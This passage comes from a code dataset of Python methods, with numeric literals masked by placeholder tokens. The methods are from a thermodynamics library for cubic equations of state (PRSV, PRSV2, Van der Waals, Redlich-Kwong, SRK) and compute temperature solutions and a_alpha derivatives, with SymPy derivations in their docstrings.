Whether to use a SymPy cse-derived expression (somewhat faster) or \n            individual formulas.\n\n        Returns\n        -------\n        T : float\n            Temperature, [K]\n\n        Notes\n        -----\n        Not guaranteed to produce a solution. There are actually two solution,\n        one much higher than normally desired; it is possible the solver could\n        converge on this.", "id": "f15780:c5:m1"}
{"signature": "def a_alpha_and_derivatives(self, T, full=True, quick=True):", "body": "Tc, a, kappa0, kappa1 = self.Tc, self.a, self.kappa0, self.kappa1<EOL>if not full:<EOL><INDENT>return a*((kappa0 + kappa1*(sqrt(T/Tc) + <NUM_LIT:1>)*(-T/Tc + <NUM_LIT>))*(-sqrt(T/Tc) + <NUM_LIT:1>) + <NUM_LIT:1>)**<NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>if quick:<EOL><INDENT>x1 = T/Tc<EOL>x2 = x1**<NUM_LIT:0.5><EOL>x3 = x2 - <NUM_LIT:1.><EOL>x4 = <NUM_LIT>*x1 - <NUM_LIT><EOL>x5 = x2 + <NUM_LIT:1.><EOL>x6 = <NUM_LIT>*kappa0 - kappa1*x4*x5<EOL>x7 = x3*x6<EOL>x8 = x7*<NUM_LIT:0.1> - <NUM_LIT:1.><EOL>x10 = x6/T<EOL>x11 = kappa1*x3<EOL>x12 = x4/T<EOL>x13 = <NUM_LIT>/Tc*x5 + x12*x2<EOL>x14 = -x10*x2 + x11*x13<EOL>a_alpha = a*x8*x8<EOL>da_alpha_dT = -a*x14*x8*<NUM_LIT:0.1><EOL>d2a_alpha_dT2 = a*(x14*x14 - x2/T*(x7 - <NUM_LIT>)*(<NUM_LIT>*kappa1*x13 + x10 + x11*(<NUM_LIT>/Tc - x12)))/<NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>a_alpha = a*((kappa0 + kappa1*(sqrt(T/Tc) + <NUM_LIT:1>)*(-T/Tc + <NUM_LIT>))*(-sqrt(T/Tc) + <NUM_LIT:1>) + <NUM_LIT:1>)**<NUM_LIT:2><EOL>da_alpha_dT = a*((kappa0 + kappa1*(sqrt(T/Tc) + <NUM_LIT:1>)*(-T/Tc + <NUM_LIT>))*(-sqrt(T/Tc) + <NUM_LIT:1>) + <NUM_LIT:1>)*(<NUM_LIT:2>*(-sqrt(T/Tc) + <NUM_LIT:1>)*(-kappa1*(sqrt(T/Tc) + <NUM_LIT:1>)/Tc + kappa1*sqrt(T/Tc)*(-T/Tc + <NUM_LIT>)/(<NUM_LIT:2>*T)) - sqrt(T/Tc)*(kappa0 + kappa1*(sqrt(T/Tc) + <NUM_LIT:1>)*(-T/Tc + <NUM_LIT>))/T)<EOL>d2a_alpha_dT2 = a*((kappa1*(sqrt(T/Tc) - <NUM_LIT:1>)*(<NUM_LIT:20>*(sqrt(T/Tc) + <NUM_LIT:1>)/Tc + sqrt(T/Tc)*(<NUM_LIT:10>*T/Tc - <NUM_LIT:7>)/T) - sqrt(T/Tc)*(<NUM_LIT:10>*kappa0 - kappa1*(sqrt(T/Tc) + <NUM_LIT:1>)*(<NUM_LIT:10>*T/Tc - <NUM_LIT:7>))/T)**<NUM_LIT:2> - sqrt(T/Tc)*((<NUM_LIT:10>*kappa0 - kappa1*(sqrt(T/Tc) + <NUM_LIT:1>)*(<NUM_LIT:10>*T/Tc - <NUM_LIT:7>))*(sqrt(T/Tc) - <NUM_LIT:1>) - <NUM_LIT:10>)*(kappa1*(<NUM_LIT>/Tc - (<NUM_LIT:10>*T/Tc - <NUM_LIT:7>)/T)*(sqrt(T/Tc) - <NUM_LIT:1>) + <NUM_LIT:2>*kappa1*(<NUM_LIT:20>*(sqrt(T/Tc) + <NUM_LIT:1>)/Tc + sqrt(T/Tc)*(<NUM_LIT:10>*T/Tc - <NUM_LIT:7>)/T) + (<NUM_LIT:10>*kappa0 - kappa1*(sqrt(T/Tc) + <NUM_LIT:1>)*(<NUM_LIT:10>*T/Tc - <NUM_LIT:7>))/T)/T)/<NUM_LIT:200><EOL><DEDENT>return a_alpha, da_alpha_dT, d2a_alpha_dT2<EOL><DEDENT>", "docstring": "r'''Method to calculate `a_alpha` and its first and second\n        derivatives for this EOS. Returns `a_alpha`, `da_alpha_dT`, and \n        `d2a_alpha_dT2`. See `GCEOS.a_alpha_and_derivatives` for more \n        documentation. Uses the set values of `Tc`, `kappa0`, `kappa1`, and \n        `a`. \n\n        For use in root-finding, returns only `a_alpha` if full is False.\n\n        The `a_alpha` function is shown below; its first and second derivatives\n        are long available through the SymPy expression under it.\n\n        .. math::\n            a\\alpha = a \\left(\\left(\\kappa_{0} + \\kappa_{1} \\left(\\sqrt{\\frac{\n            T}{Tc}} + 1\\right) \\left(- \\frac{T}{Tc} + \\frac{7}{10}\\right)\n            \\right) \\left(- \\sqrt{\\frac{T}{Tc}} + 1\\right) + 1\\right)^{2}\n\n        >>> from sympy import *\n        >>> P, T, V = symbols('P, T, V')\n        >>> Tc, Pc, omega = symbols('Tc, Pc, omega')\n        >>> R, a, b, kappa0, kappa1 = symbols('R, a, b, kappa0, kappa1')\n        >>> kappa = kappa0 + kappa1*(1 + sqrt(T/Tc))*(Rational(7, 10)-T/Tc)\n        >>> a_alpha = a*(1 + kappa*(1-sqrt(T/Tc)))**2\n        >>> # diff(a_alpha, T)\n        >>> # diff(a_alpha, T, 2)", "id": "f15780:c5:m2"}
{"signature": "def solve_T(self, P, V, quick=True):", "body": "<EOL><INDENT>return super(PR, self).solve_T(P, V, quick=quick) <EOL><DEDENT>Tc, a, b, kappa0, kappa1, kappa2, kappa3 = self.Tc, self.a, self.b, self.kappa0, self.kappa1, self.kappa2, self.kappa3<EOL>if quick:<EOL><INDENT>x0 = V - b<EOL>R_x0 = R/x0<EOL>x5 = (<NUM_LIT>*(V*(V + b) + b*x0))<EOL>x4 = <NUM_LIT>*kappa0<EOL>def to_solve(T):<EOL><INDENT>x1 = T/Tc<EOL>x2 = x1**<NUM_LIT:0.5><EOL>x3 = x2 - <NUM_LIT:1.><EOL>return (R_x0*T - a*(x3*(x4 - (kappa1 + kappa2*x3*(-kappa3 + x1))*(<NUM_LIT>*x1 - <NUM_LIT>)*(x2 + <NUM_LIT:1.>)) - <NUM_LIT>)**<NUM_LIT:2>/x5) - P<EOL><DEDENT><DEDENT>else:<EOL><INDENT>def to_solve(T):<EOL><INDENT>P_calc = R*T/(V - b) - a*((kappa0 + (kappa1 + kappa2*(-sqrt(T/Tc) + <NUM_LIT:1>)*(-T/Tc + kappa3))*(sqrt(T/Tc) + <NUM_LIT:1>)*(-T/Tc + <NUM_LIT:7>/<NUM_LIT:10>))*(-sqrt(T/Tc) + <NUM_LIT:1>) + <NUM_LIT:1>)**<NUM_LIT:2>/(V*(V + b) + b*(V - b))<EOL>return P_calc - P<EOL><DEDENT><DEDENT>return newton(to_solve, Tc*<NUM_LIT:0.5>)<EOL>", "docstring": "r'''Method to calculate `T` from a specified `P` and `V` for the PRSV2\n        EOS. Uses `Tc`, `a`, `b`, `kappa0`, `kappa1`, `kappa2`, and `kappa3`\n        as well, obtained from the class's namespace.\n\n        Parameters\n        ----------\n        P : float\n            Pressure, [Pa]\n        V : float\n            Molar volume, [m^3/mol]\n        quick : bool, optional\n            Whether to use a SymPy cse-derived expression (somewhat faster) or \n            individual formulas.\n\n        Returns\n        -------\n        T : float\n            Temperature, [K]\n\n        Notes\n        -----\n        Not guaranteed to produce a solution. There are actually 8 solutions,\n        six with an imaginary component at a tested point. The two temperature\n        solutions are quite far apart, with one much higher than the other;\n        it is possible the solver could converge on the higher solution, so use\n        `T` inputs with care. This extra solution is a perfectly valid one\n        however.", "id": "f15780:c6:m1"}
{"signature": "def a_alpha_and_derivatives(self, T, full=True, quick=True):", "body": "Tc, a, kappa0, kappa1, kappa2, kappa3 = self.Tc, self.a, self.kappa0, self.kappa1, self.kappa2, self.kappa3<EOL>if not full:<EOL><INDENT>Tr = T/Tc<EOL>kappa = kappa0 + ((kappa1 + kappa2*(kappa3 - Tr)*(<NUM_LIT:1> - Tr**<NUM_LIT:0.5>))*(<NUM_LIT:1> + Tr**<NUM_LIT:0.5>)*(<NUM_LIT> - Tr))<EOL>return a*(<NUM_LIT:1> + kappa*(<NUM_LIT:1>-sqrt(T/Tc)))**<NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>if quick:<EOL><INDENT>x1 = T/Tc<EOL>x2 = sqrt(x1)<EOL>x3 = x2 - <NUM_LIT:1.><EOL>x4 = x2 + <NUM_LIT:1.><EOL>x5 = <NUM_LIT>*x1 - <NUM_LIT><EOL>x6 = -kappa3 + x1<EOL>x7 = kappa1 + kappa2*x3*x6<EOL>x8 = x5*x7<EOL>x9 = <NUM_LIT>*kappa0 - x4*x8<EOL>x10 = x3*x9<EOL>x11 = x10*<NUM_LIT:0.1> - <NUM_LIT:1.><EOL>x13 = x2/T<EOL>x14 = x7/Tc<EOL>x15 = kappa2*x4*x5<EOL>x16 = <NUM_LIT>*(-x2 + <NUM_LIT:1.>)/Tc + x13*(kappa3 - x1)<EOL>x17 = -x13*x8 - x14*(<NUM_LIT>*x2 + <NUM_LIT>) + x15*x16<EOL>x18 = x13*x9 + x17*x3<EOL>x19 = x2/(T*T)<EOL>x20 = <NUM_LIT>*x2/T<EOL>a_alpha = a*x11*x11<EOL>da_alpha_dT = a*x11*x18*<NUM_LIT:0.1><EOL>d2a_alpha_dT2 = a*(x18*x18 + (x10 - <NUM_LIT>)*(x17*x20 - x19*x9 + x3*(<NUM_LIT>*kappa2/Tc*x16*x4 + kappa2*x16*x20*x5 - <NUM_LIT>/T*x14*x2 - x15/T*x2*(<NUM_LIT>/Tc - x6/T) + x19*x8)))/<NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>a_alpha = a*(<NUM_LIT:1> + self.kappa*(<NUM_LIT:1>-sqrt(T/Tc)))**<NUM_LIT:2><EOL>da_alpha_dT = a*((kappa0 + (kappa1 + kappa2*(-sqrt(T/Tc) + <NUM_LIT:1>)*(-T/Tc + kappa3))*(sqrt(T/Tc) + <NUM_LIT:1>)*(-T/Tc + <NUM_LIT:7>/<NUM_LIT:10>))*(-sqrt(T/Tc) + <NUM_LIT:1>) + <NUM_LIT:1>)*(<NUM_LIT:2>*(-sqrt(T/Tc) + <NUM_LIT:1>)*((sqrt(T/Tc) + <NUM_LIT:1>)*(-T/Tc + <NUM_LIT:7>/<NUM_LIT:10>)*(-kappa2*(-sqrt(T/Tc) + <NUM_LIT:1>)/Tc - kappa2*sqrt(T/Tc)*(-T/Tc + kappa3)/(<NUM_LIT:2>*T)) - (kappa1 + kappa2*(-sqrt(T/Tc) + <NUM_LIT:1>)*(-T/Tc + kappa3))*(sqrt(T/Tc) + <NUM_LIT:1>)/Tc + sqrt(T/Tc)*(kappa1 + kappa2*(-sqrt(T/Tc) + <NUM_LIT:1>)*(-T/Tc + kappa3))*(-T/Tc + <NUM_LIT:7>/<NUM_LIT:10>)/(<NUM_LIT:2>*T)) - sqrt(T/Tc)*(kappa0 + (kappa1 + kappa2*(-sqrt(T/Tc) + <NUM_LIT:1>)*(-T/Tc + kappa3))*(sqrt(T/Tc) + <NUM_LIT:1>)*(-T/Tc + <NUM_LIT:7>/<NUM_LIT:10>))/T)<EOL>d2a_alpha_dT2 = a*((kappa0 + (kappa1 + kappa2*(-sqrt(T/Tc) + <NUM_LIT:1>)*(-T/Tc + kappa3))*(sqrt(T/Tc) + <NUM_LIT:1>)*(-T/Tc + <NUM_LIT:7>/<NUM_LIT:10>))*(-sqrt(T/Tc) + <NUM_LIT:1>) + <NUM_LIT:1>)*(<NUM_LIT:2>*(-sqrt(T/Tc) + <NUM_LIT:1>)*((sqrt(T/Tc) + <NUM_LIT:1>)*(-T/Tc + <NUM_LIT:7>/<NUM_LIT:10>)*(kappa2*sqrt(T/Tc)/(T*Tc) + kappa2*sqrt(T/Tc)*(-T/Tc + kappa3)/(<NUM_LIT:4>*T**<NUM_LIT:2>)) - <NUM_LIT:2>*(sqrt(T/Tc) + <NUM_LIT:1>)*(-kappa2*(-sqrt(T/Tc) + <NUM_LIT:1>)/Tc - kappa2*sqrt(T/Tc)*(-T/Tc + kappa3)/(<NUM_LIT:2>*T))/Tc + sqrt(T/Tc)*(-T/Tc + <NUM_LIT:7>/<NUM_LIT:10>)*(-kappa2*(-sqrt(T/Tc) + <NUM_LIT:1>)/Tc - kappa2*sqrt(T/Tc)*(-T/Tc + kappa3)/(<NUM_LIT:2>*T))/T - sqrt(T/Tc)*(kappa1 + kappa2*(-sqrt(T/Tc) + <NUM_LIT:1>)*(-T/Tc + kappa3))/(T*Tc) - sqrt(T/Tc)*(kappa1 + kappa2*(-sqrt(T/Tc) + <NUM_LIT:1>)*(-T/Tc + kappa3))*(-T/Tc + <NUM_LIT:7>/<NUM_LIT:10>)/(<NUM_LIT:4>*T**<NUM_LIT:2>)) - <NUM_LIT:2>*sqrt(T/Tc)*((sqrt(T/Tc) + <NUM_LIT:1>)*(-T/Tc + <NUM_LIT:7>/<NUM_LIT:10>)*(-kappa2*(-sqrt(T/Tc) + <NUM_LIT:1>)/Tc - kappa2*sqrt(T/Tc)*(-T/Tc + kappa3)/(<NUM_LIT:2>*T)) - (kappa1 + kappa2*(-sqrt(T/Tc) + <NUM_LIT:1>)*(-T/Tc + kappa3))*(sqrt(T/Tc) + <NUM_LIT:1>)/Tc + sqrt(T/Tc)*(kappa1 + kappa2*(-sqrt(T/Tc) + <NUM_LIT:1>)*(-T/Tc + kappa3))*(-T/Tc + <NUM_LIT:7>/<NUM_LIT:10>)/(<NUM_LIT:2>*T))/T + sqrt(T/Tc)*(kappa0 + (kappa1 + kappa2*(-sqrt(T/Tc) + <NUM_LIT:1>)*(-T/Tc + kappa3))*(sqrt(T/Tc) + <NUM_LIT:1>)*(-T/Tc + <NUM_LIT:7>/<NUM_LIT:10>))/(<NUM_LIT:2>*T**<NUM_LIT:2>)) + a*((-sqrt(T/Tc) + <NUM_LIT:1>)*((sqrt(T/Tc) + <NUM_LIT:1>)*(-T/Tc + <NUM_LIT:7>/<NUM_LIT:10>)*(-kappa2*(-sqrt(T/Tc) + <NUM_LIT:1>)/Tc - kappa2*sqrt(T/Tc)*(-T/Tc + kappa3)/(<NUM_LIT:2>*T)) - (kappa1 + kappa2*(-sqrt(T/Tc) + <NUM_LIT:1>)*(-T/Tc + kappa3))*(sqrt(T/Tc) + <NUM_LIT:1>)/Tc + sqrt(T/Tc)*(kappa1 + kappa2*(-sqrt(T/Tc) + <NUM_LIT:1>)*(-T/Tc + kappa3))*(-T/Tc + <NUM_LIT:7>/<NUM_LIT:10>)/(<NUM_LIT:2>*T)) - sqrt(T/Tc)*(kappa0 + (kappa1 + kappa2*(-sqrt(T/Tc) + <NUM_LIT:1>)*(-T/Tc + kappa3))*(sqrt(T/Tc) + <NUM_LIT:1>)*(-T/Tc + <NUM_LIT:7>/<NUM_LIT:10>))/(<NUM_LIT:2>*T))*(<NUM_LIT:2>*(-sqrt(T/Tc) + <NUM_LIT:1>)*((sqrt(T/Tc) + <NUM_LIT:1>)*(-T/Tc + <NUM_LIT:7>/<NUM_LIT:10>)*(-kappa2*(-sqrt(T/Tc) + <NUM_LIT:1>)/Tc - kappa2*sqrt(T/Tc)*(-T/Tc + kappa3)/(<NUM_LIT:2>*T)) - (kappa1 + kappa2*(-sqrt(T/Tc) + <NUM_LIT:1>)*(-T/Tc + kappa3))*(sqrt(T/Tc) + <NUM_LIT:1>)/Tc + sqrt(T/Tc)*(kappa1 + kappa2*(-sqrt(T/Tc) + <NUM_LIT:1>)*(-T/Tc + kappa3))*(-T/Tc + <NUM_LIT:7>/<NUM_LIT:10>)/(<NUM_LIT:2>*T)) - sqrt(T/Tc)*(kappa0 + (kappa1 + kappa2*(-sqrt(T/Tc) + <NUM_LIT:1>)*(-T/Tc + kappa3))*(sqrt(T/Tc) + <NUM_LIT:1>)*(-T/Tc + <NUM_LIT:7>/<NUM_LIT:10>))/T)<EOL><DEDENT>return a_alpha, da_alpha_dT, d2a_alpha_dT2<EOL><DEDENT>", "docstring": "r'''Method to calculate `a_alpha` and its first and second\n        derivatives for this EOS. Returns `a_alpha`, `da_alpha_dT`, and \n        `d2a_alpha_dT2`. See `GCEOS.a_alpha_and_derivatives` for more \n        documentation. Uses the set values of `Tc`, `kappa0`, `kappa1`,\n        `kappa2`, `kappa3`, and `a`. \n\n        For use in `solve_T`, returns only `a_alpha` if full is False.\n\n        The first and second derivatives of `a_alpha` are available through the\n        following SymPy expression.\n\n        >>> from sympy import *\n        >>> P, T, V = symbols('P, T, V')\n        >>> Tc, Pc, omega = symbols('Tc, Pc, omega')\n        >>> R, a, b, kappa0, kappa1, kappa2, kappa3 = symbols('R, a, b, kappa0, kappa1, kappa2, kappa3')\n        >>> Tr = T/Tc\n        >>> kappa = kappa0 + (kappa1 + kappa2*(kappa3-Tr)*(1-sqrt(Tr)))*(1+sqrt(Tr))*(Rational('0.7')-Tr)\n        >>> a_alpha = a*(1 + kappa*(1-sqrt(T/Tc)))**2\n        >>> # diff(a_alpha, T)\n        >>> # diff(a_alpha, T, 2)", "id": "f15780:c6:m2"}
{"signature": "def a_alpha_and_derivatives(self, T, full=True, quick=True):", "body": "if not full:<EOL><INDENT>return self.a<EOL><DEDENT>else:<EOL><INDENT>a_alpha = self.a<EOL>da_alpha_dT = <NUM_LIT:0.0><EOL>d2a_alpha_dT2 = <NUM_LIT:0.0><EOL>return a_alpha, da_alpha_dT, d2a_alpha_dT2<EOL><DEDENT>", "docstring": "r'''Method to calculate `a_alpha` and its first and second\n        derivatives for this EOS. Returns `a_alpha`, `da_alpha_dT`, and \n        `d2a_alpha_dT2`. See `GCEOS.a_alpha_and_derivatives` for more \n        documentation. Uses the set values of `a`.\n\n        .. math::\n            a\\alpha = a\n\n            \\frac{d a\\alpha}{dT} = 0\n\n            \\frac{d^2 a\\alpha}{dT^2} = 0", "id": "f15780:c7:m1"}
{"signature": "def solve_T(self, P, V):", "body": "return (P*V**<NUM_LIT:2>*(V - self.b) + V*self.a - self.a*self.b)/(R*V**<NUM_LIT:2>)<EOL>", "docstring": "r'''Method to calculate `T` from a specified `P` and `V` for the VDW\n        EOS. Uses `a`, and `b`, obtained from the class's namespace.\n\n        .. math::\n            T =  \\frac{1}{R V^{2}} \\left(P V^{2} \\left(V - b\\right)\n            + V a - a b\\right)\n\n        Parameters\n        ----------\n        P : float\n            Pressure, [Pa]\n        V : float\n            Molar volume, [m^3/mol]\n\n        Returns\n        -------\n        T : float\n            Temperature, [K]", "id": "f15780:c7:m2"}
{"signature": "@staticmethod<EOL><INDENT>def main_derivatives_and_departures(T, P, V, b, delta, epsilon, a_alpha,<EOL>da_alpha_dT, d2a_alpha_dT2, quick=True):<DEDENT>", "body": "dP_dT = R/(V - b)<EOL>dP_dV = -R*T/(V - b)**<NUM_LIT:2> + <NUM_LIT:2>*a_alpha/V**<NUM_LIT:3><EOL>d2P_dT2 = <NUM_LIT:0><EOL>d2P_dV2 = <NUM_LIT:2>*(R*T/(V - b)**<NUM_LIT:3> - <NUM_LIT:3>*a_alpha/V**<NUM_LIT:4>)<EOL>d2P_dTdV = -R/(V - b)**<NUM_LIT:2><EOL>H_dep = P*V - R*T - a_alpha/V<EOL>S_dep = R*(-log(V) + log(V - b)) + R*log(P*V/(R*T))<EOL>Cv_dep = <NUM_LIT:0><EOL>return [dP_dT, dP_dV, d2P_dT2, d2P_dV2, d2P_dTdV, H_dep, S_dep, Cv_dep]<EOL>", "docstring": "Re-implementation of derivatives and excess property calculations, \n        as ZeroDivisionError errors occur with the general solution. The \n        following derivation is the source of these formulas.\n\n        >>> from sympy import *\n        >>> P, T, V, R, b, a = symbols('P, T, V, R, b, a')\n        >>> P_vdw = R*T/(V-b) - a/(V*V)\n        >>> vdw = P_vdw - P\n        >>> \n        >>> dP_dT = diff(vdw, T)\n        >>> dP_dV = diff(vdw, V)\n        >>> d2P_dT2 = diff(vdw, T, 2)\n        >>> d2P_dV2 = diff(vdw, V, 2)\n        >>> d2P_dTdV = diff(vdw, T, V)\n        >>> H_dep = integrate(T*dP_dT - P_vdw, (V, oo, V))\n        >>> H_dep += P*V - R*T\n        >>> S_dep = integrate(dP_dT - R/V, (V,oo,V))\n        >>> S_dep += R*log(P*V/(R*T))\n        >>> Cv_dep = T*integrate(d2P_dT2, (V,oo,V))\n        >>> \n        >>> dP_dT, dP_dV, d2P_dT2, d2P_dV2, d2P_dTdV, H_dep, S_dep, Cv_dep\n        (R/(V - b), -R*T/(V - b)**2 + 2*a/V**3, 0, 2*(R*T/(V - b)**3 - 3*a/V**4), -R/(V - b)**2, P*V - R*T - a/V, R*(-log(V) + log(V - b)) + R*log(P*V/(R*T)), 0)", "id": "f15780:c7:m3"}
{"signature": "def a_alpha_and_derivatives(self, T, full=True, quick=True):", "body": "a_alpha = self.a*T**-<NUM_LIT:0.5><EOL>if not full:<EOL><INDENT>return a_alpha<EOL><DEDENT>else:<EOL><INDENT>da_alpha_dT = -<NUM_LIT:0.5>*self.a*T**(-<NUM_LIT>)<EOL>d2a_alpha_dT2 = <NUM_LIT>*self.a*T**(-<NUM_LIT>)<EOL>return a_alpha, da_alpha_dT, d2a_alpha_dT2<EOL><DEDENT>", "docstring": "r'''Method to calculate `a_alpha` and its first and second\n        derivatives for this EOS. Returns `a_alpha`, `da_alpha_dT`, and \n        `d2a_alpha_dT2`. See `GCEOS.a_alpha_and_derivatives` for more \n        documentation. Uses the set values of `a`.\n\n        .. math::\n            a\\alpha = \\frac{a}{\\sqrt{T}}\n\n            \\frac{d a\\alpha}{dT} = - \\frac{a}{2 T^{\\frac{3}{2}}}\n\n            \\frac{d^2 a\\alpha}{dT^2} = \\frac{3 a}{4 T^{\\frac{5}{2}}}", "id": "f15780:c8:m1"}
{"signature": "def solve_T(self, P, V, quick=True):", "body": "a, b = self.a, self.b<EOL>if quick:<EOL><INDENT>x1 = -<NUM_LIT>*<NUM_LIT> + <NUM_LIT:1.><EOL>x2 = V - b<EOL>x3 = x2/R<EOL>x4 = V + b<EOL>x5 = (<NUM_LIT>*(x2*x2*(-<NUM_LIT>*P*P*P*x3 + <NUM_LIT>*a*a/(V*V*x4*x4))/(R*R))**<NUM_LIT:0.5> - <NUM_LIT>*a*x3/(V*x4) +<NUM_LIT>)**(<NUM_LIT:1.>/<NUM_LIT>)<EOL>return (<NUM_LIT>*(<NUM_LIT>*P*x3/(x1*x5) + <NUM_LIT>*x1*x5)**<NUM_LIT:2>/<NUM_LIT>).real<EOL><DEDENT>else:<EOL><INDENT>return ((-(-<NUM_LIT:1>/<NUM_LIT:2> + sqrt(<NUM_LIT:3>)*<NUM_LIT>/<NUM_LIT:2>)*(sqrt(<NUM_LIT>*(-V*a + a*b)**<NUM_LIT:2>/(R*V**<NUM_LIT:2> + R*V*b)**<NUM_LIT:2> + <NUM_LIT>*(-P*V + P*b)**<NUM_LIT:3>/R**<NUM_LIT:3>)/<NUM_LIT:2> + <NUM_LIT>*(-V*a + a*b)/(<NUM_LIT:2>*(R*V**<NUM_LIT:2> + R*V*b))+<NUM_LIT>)**(<NUM_LIT:1>/<NUM_LIT:3>)/<NUM_LIT:3> + (-P*V + P*b)/(R*(-<NUM_LIT:1>/<NUM_LIT:2> + sqrt(<NUM_LIT:3>)*<NUM_LIT>/<NUM_LIT:2>)*(sqrt(<NUM_LIT>*(-V*a + a*b)**<NUM_LIT:2>/(R*V**<NUM_LIT:2> + R*V*b)**<NUM_LIT:2> + <NUM_LIT>*(-P*V + P*b)**<NUM_LIT:3>/R**<NUM_LIT:3>)/<NUM_LIT:2> + <NUM_LIT>*(-V*a + a*b)/(<NUM_LIT:2>*(R*V**<NUM_LIT:2> + R*V*b))+<NUM_LIT>)**(<NUM_LIT:1>/<NUM_LIT:3>)))**<NUM_LIT:2>).real<EOL><DEDENT>", "docstring": "r'''Method to calculate `T` from a specified `P` and `V` for the RK\n        EOS. Uses `a`, and `b`, obtained from the class's namespace.\n\n        Parameters\n        ----------\n        P : float\n            Pressure, [Pa]\n        V : float\n            Molar volume, [m^3/mol]\n        quick : bool, optional\n            Whether to use a SymPy cse-derived expression (3x faster) or \n            individual formulas\n\n        Returns\n        -------\n        T : float\n            Temperature, [K]\n\n        Notes\n        -----\n        The exact solution can be derived as follows; it is excluded for \n        breviety.\n\n        >>> from sympy import *\n        >>> P, T, V, R = symbols('P, T, V, R')\n        >>> Tc, Pc = symbols('Tc, Pc')\n        >>> a, b = symbols('a, b')\n\n        >>> RK = Eq(P, R*T/(V-b) - a/sqrt(T)/(V*V + b*V))\n        >>> # solve(RK, T)", "id": "f15780:c8:m2"}
{"signature": "def a_alpha_and_derivatives(self, T, full=True, quick=True):", "body": "a, Tc, m = self.a, self.Tc, self.m<EOL>sqTr = (T/Tc)**<NUM_LIT:0.5><EOL>a_alpha = a*(m*(<NUM_LIT:1.> - sqTr) + <NUM_LIT:1.>)**<NUM_LIT:2><EOL>if not full:<EOL><INDENT>return a_alpha<EOL><DEDENT>else:<EOL><INDENT>da_alpha_dT = -a*m*sqTr*(m*(-sqTr + <NUM_LIT:1.>) + <NUM_LIT:1.>)/T<EOL>d2a_alpha_dT2 =  a*m*sqTr*(m + <NUM_LIT:1.>)/(<NUM_LIT>*T*T)<EOL>return a_alpha, da_alpha_dT, d2a_alpha_dT2<EOL><DEDENT>", "docstring": "r'''Method to calculate `a_alpha` and its first and second\n        derivatives for this EOS. Returns `a_alpha`, `da_alpha_dT`, and \n        `d2a_alpha_dT2`. See `GCEOS.a_alpha_and_derivatives` for more \n        documentation. Uses the set values of `Tc`, `m`, and `a`.\n\n        .. math::\n            a\\alpha = a \\left(m \\left(- \\sqrt{\\frac{T}{Tc}} + 1\\right)\n            + 1\\right)^{2}\n\n            \\frac{d a\\alpha}{dT} = \\frac{a m}{T} \\sqrt{\\frac{T}{Tc}} \\left(m\n            \\left(\\sqrt{\\frac{T}{Tc}} - 1\\right) - 1\\right)\n\n            \\frac{d^2 a\\alpha}{dT^2} = \\frac{a m \\sqrt{\\frac{T}{Tc}}}{2 T^{2}}\n            \\left(m + 1\\right)", "id": "f15780:c9:m1"}
{"signature": "def solve_T(self, P, V, quick=True):", "body": "a, b, Tc, m = self.a, self.b, self.Tc, self.m<EOL>if quick:<EOL><INDENT>x0 = R*Tc<EOL>x1 = V*b<EOL>x2 = x0*x1<EOL>x3 = V*V<EOL>x4 = x0*x3<EOL>x5 = m*m<EOL>x6 = a*x5<EOL>x7 = b*x6<EOL>x8 = V*x6<EOL>x9 = (x2 + x4 + x7 - x8)**<NUM_LIT:2><EOL>x10 = x3*x3<EOL>x11 = R*R*Tc*Tc<EOL>x12 = a*a<EOL>x13 = x5*x5<EOL>x14 = x12*x13<EOL>x15 = b*b<EOL>x16 = x3*V<EOL>x17 = a*x0<EOL>x18 = x17*x5<EOL>x19 = <NUM_LIT>*b*x16<EOL>x20 = -<NUM_LIT>*V*b*x14 + <NUM_LIT>*V*x15*x18 + x10*x11 + x11*x15*x3 + x11*x19 + x14*x15 + x14*x3 - <NUM_LIT:2>*x16*x18<EOL>x21 = V - b<EOL>x22 = <NUM_LIT:2>*m*x17<EOL>x23 = P*x4<EOL>x24 = P*x8<EOL>x25 = x1*x17<EOL>x26 = P*R*Tc<EOL>x27 = x17*x3<EOL>x28 = V*x12<EOL>x29 = <NUM_LIT>*m*m*m<EOL>x30 = b*x12<EOL>return -Tc*(<NUM_LIT>*a*m*x9*(V*x21*x21*x21*(V + b)*(P*x2 + P*x7 + x17 + x18 + x22 + x23 - x24))**<NUM_LIT:0.5>*(m + <NUM_LIT:1.>) - x20*x21*(-P*x16*x6 + x1*x22 + x10*x26 + x13*x28 - x13*x30 + x15*x23 + x15*x24 + x19*x26 + x22*x3 + x25*x5 + x25 + x27*x5 + x27 + x28*x29 + x28*x5 - x29*x30 - x30*x5))/(x20*x9)<EOL><DEDENT>else:<EOL><INDENT>return Tc*(-<NUM_LIT:2>*a*m*sqrt(V*(V - b)**<NUM_LIT:3>*(V + b)*(P*R*Tc*V**<NUM_LIT:2> + P*R*Tc*V*b - P*V*a*m**<NUM_LIT:2> + P*a*b*m**<NUM_LIT:2> + R*Tc*a*m**<NUM_LIT:2> + <NUM_LIT:2>*R*Tc*a*m + R*Tc*a))*(m + <NUM_LIT:1>)*(R*Tc*V**<NUM_LIT:2> + R*Tc*V*b - V*a*m**<NUM_LIT:2> + a*b*m**<NUM_LIT:2>)**<NUM_LIT:2> + (V - b)*(R**<NUM_LIT:2>*Tc**<NUM_LIT:2>*V**<NUM_LIT:4> + <NUM_LIT:2>*R**<NUM_LIT:2>*Tc**<NUM_LIT:2>*V**<NUM_LIT:3>*b + R**<NUM_LIT:2>*Tc**<NUM_LIT:2>*V**<NUM_LIT:2>*b**<NUM_LIT:2> - <NUM_LIT:2>*R*Tc*V**<NUM_LIT:3>*a*m**<NUM_LIT:2> + <NUM_LIT:2>*R*Tc*V*a*b**<NUM_LIT:2>*m**<NUM_LIT:2> + V**<NUM_LIT:2>*a**<NUM_LIT:2>*m**<NUM_LIT:4> - <NUM_LIT:2>*V*a**<NUM_LIT:2>*b*m**<NUM_LIT:4> + a**<NUM_LIT:2>*b**<NUM_LIT:2>*m**<NUM_LIT:4>)*(P*R*Tc*V**<NUM_LIT:4> + <NUM_LIT:2>*P*R*Tc*V**<NUM_LIT:3>*b + P*R*Tc*V**<NUM_LIT:2>*b**<NUM_LIT:2> - P*V**<NUM_LIT:3>*a*m**<NUM_LIT:2> + P*V*a*b**<NUM_LIT:2>*m**<NUM_LIT:2> + R*Tc*V**<NUM_LIT:2>*a*m**<NUM_LIT:2> + <NUM_LIT:2>*R*Tc*V**<NUM_LIT:2>*a*m + R*Tc*V**<NUM_LIT:2>*a + R*Tc*V*a*b*m**<NUM_LIT:2> + 